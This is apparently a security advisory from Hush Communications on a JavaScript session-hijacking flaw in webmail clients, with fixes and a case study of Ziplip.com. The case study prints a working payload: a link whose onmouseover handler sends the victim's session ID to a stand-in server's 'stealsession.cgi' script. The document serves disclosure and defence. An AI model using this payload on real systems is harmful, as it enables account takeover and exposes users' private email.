Web-Based Email Vulnerability
This document introduces a security attack on Web-based email clients using the browser’s JavaScript engine to compromise the user’s security and allow a third party to independently access the user’s account. The exploit takes advantage of those web-based email clients that use session id-based authentication and fail to properly remove or isolate JavaScript code that may appear in the headers or body of an email message. Solutions are presented to prevent script attacks by parsing out JavaScript code elements, or by selectively replacing characters to deactivate the script elements. This document also outlines the vulnerability of other similar services and platforms to script-based attacks via user generated content.
Origin of this Document
The vulnerability discussed in this document was discovered during the prototyping stage of the next generation HushMail product from Hush Communications. Research into possible security attacks on web-based email systems employing HTML rendering, revealed this vulnerability; in particular, our assessment of competing products, specifically Ziplip.com, revealed the existence of this significant threat to personal privacy.
Intended Audience
This document is intended for developers working on web-based system which may enable users to view content generated by arbitrary individuals, via such mechanisms as email or bulletin-board style posting services. Developers should use this document to evaluate their solutions in order to ascertain whether their proposed solution is at risk from this attack methodology.
Relation to Other Systems
Although this document specifically discussed web-based email systems, the attack technique described here is potentially applicable to any web-based service which allow users to view content created by other arbitrary users.
Detailed Description
Requirements
This attack is effective on web-based email clients that directly display the contents of email messages without altering the message text. The email client must also hold onto the user’s session ID information in either a client-side cookie, or in the URL of hyperlinks used to activate functionality. This session ID alone must be the only element that is used to prove the client’s state of authentication.
The Attack
Most web-based email clients require a login/authentication process; in most cases, HTTP authentication alone is not suitable for most applications, as the HTTP protocol does not support the ability to ‘log out’ or ‘de-authenticate’ the user. To provide ‘log out’ capabilities, web-based email clients usually implement their own authentication mechanism, embedding session information into the user’s web browser either directly (using cookies), or indirectly (by URL-encoding the session ID into links within the web page) as shown in Figure 1. This session ID is usually mirrored by a session store on the server side, which keeps track of the users currently authenticated with the system, and any other required session state information. Essentially, the existence of a session store object for a given session ID is verification that the user associated with that session is authenticated with the server.
If a third party gains access to the session ID before the user has logged out of the web site, that party can use the session ID to gain access to the user’s information and request services as the user. Possible scenarios allowing a third party to gain access to this session ID: the user temporarily leaves their computer alone, or forgets to log out while on using shared computer.
On web-based email clients, an additional scenario to gain session ID access is possible when the email client allows arbitrary JavaScript to be executed:
- The user opens an email message containing a piece of JavaScript code, most likely included as an event handler on a hyperlink.
- The user triggers the hyperlink, activating the piece of JavaScript.
- The JavaScript code steals the session ID, and opens a new browser window to a web server script, to whom it sends the session ID; from the user’s point of view, this window seems to be a result of clicking the link.
- The web server script receives the session ID, and replies with bogus content, or redirects the client’s web browser to a site corresponding to the original bogus hyperlink.
Now the third party’s web server has the session ID for the user, which it can use to harvest all information from the user’s account. However, the server can only harvest the user’s account while the session ID remains valid; therefore, it is in the interest of the attacker to provide some believable error or content in Step 4 above.
Implications
An attacker can gain access to the user’s email account by sending an email message containing JavaScript, most likely in the form of a hyperlink, which the user activates. This opens the possibility for a Melissa-like virus to affect users of the web-based email client; although no damage is possible to the user’s computer itself, the virus could delete the user’s email, and masquerade as the user in order to send itself to other users of the system. Personal data stored in the email account, such as the user’s real name, address, phone number, occupation, and other personal details could be easily compromised, providing the ammunition for direct marketing campaigns. The perpetrators of such a virus would be easily uncovered, but not before they inflicted immense damage.
Solutions
Web-based email clients need to ensure that the HTML <SCRIPT> element is eliminated from any text displayed directly in the web browser window; likely places to place this element include the mail headers (To, From, Subject) that are usually displayed directly, or the message body itself. In addition, the message’s content needs to be parsed to eliminate any event handlers that may be defined within HTML elements; for example, the onClick, onMouseOut, onMouseOver event handlers in the HREF element must be eliminated.
Rather than try to parse out all of these JavaScript event handlers, it is much easier to eliminate any JavaScript functionality; the key here is to make the web browser ignore the JavaScript elements. By replace all instances of the ‘< ' and '>‘ characters in any user-submitted content with the HTML constructs ‘<’ and ‘>’, respectively, the resulting text will not be interpreted by the web browser. An unfortunate side effect of this technique is that all HTML formatting of the original content is also lost; the resulting text will simply be a raw text representation of the original HTML, including all of the HTML tag text.
All sites using session ID based authentication mechanisms should also add an additional security measure to prevent against session hijacking; this will prevent against the possibility of session ID hijacking through means other than the JavaScript attack. A simple solution is to use both the session id and IP address of the client machine when the user logged in to validate the session. With this solution in place, the only mechanism to use the user’s session is to use the user’s machine itself if the user steps away temporarily.
Case Study: Ziplip.com
Ziplip.com prevents against <SCRIPT> tags in the body of the message, parsing them out at the server before displaying them within the web browser window. In addition, any HTML elements appearing in headers, such as the Subject, are forced to display inside the header’s link by changing the ‘< ' and '>‘ characters to the HTML escape sequences ‘<’ and ‘>’ respectively.
However, Ziplip fails to parse out event handler attributes in HTML tags, specifically in the hyperlink tag. Using the attack described above, an attacker can send the following message to a victim’s Ziplip.com email account:
Hey buddy,
You have to see this, it’s cool:
<a onmouseover="window.open('http://someserver.com/cgi-bin/stealsession.cgi' + window.top.frames['content'].location.search.substring(0, 47))" href="www.wired.com" target="_blank">www.wired.com</a>Brendon
When the victim’s mouse moves over the link, the onMouseOver event handler is triggered, the session ID is extracted from one of the links on the page, and a new browser window is opened. The new window sends the session ID to a script on the someserver.com server, which can harvest the user’s email and address book, or perform any other activity provided by the Ziplip.com system. The attacker’s script will return an HTTP redirect to www.wired.com, in order to avoid arousing the user’s suspicion.
Attacks on Similar Systems
By no means is this attack restricted to web-based email clients, or JavaScript for that matter; this attack could be launched on any number of mailing lists, auction sites, or online bookstores with user-submitted recommendations. The base requirements for a similar type of attack are:
- The service that uses a session ID based authentication mechanism, and that session ID alone is the only credential used to verify the user’s authenticating state, once the user has logged into the service.
- The service allows a potential attacker to submit arbitrary content that will be presented to the user, usually presented as part of the service’s content itself.
- The presentation layer provides a script language capable of launching network connections to arbitrary servers either when the content is loaded, or on user input.
Besides the HTML/JavaScript platform, other potentially vulnerable services include those based on the WML/WMLScript platform.
Summary
The simplicity of this attack methodology highlights its hazardous nature; given the recent rash of macro-based email viruses, we can expect to see this attack used quite effectively to breach personal privacy. The only solution is to remove the active scripting elements through vigilant design of code responsible for presenting user-submitted content.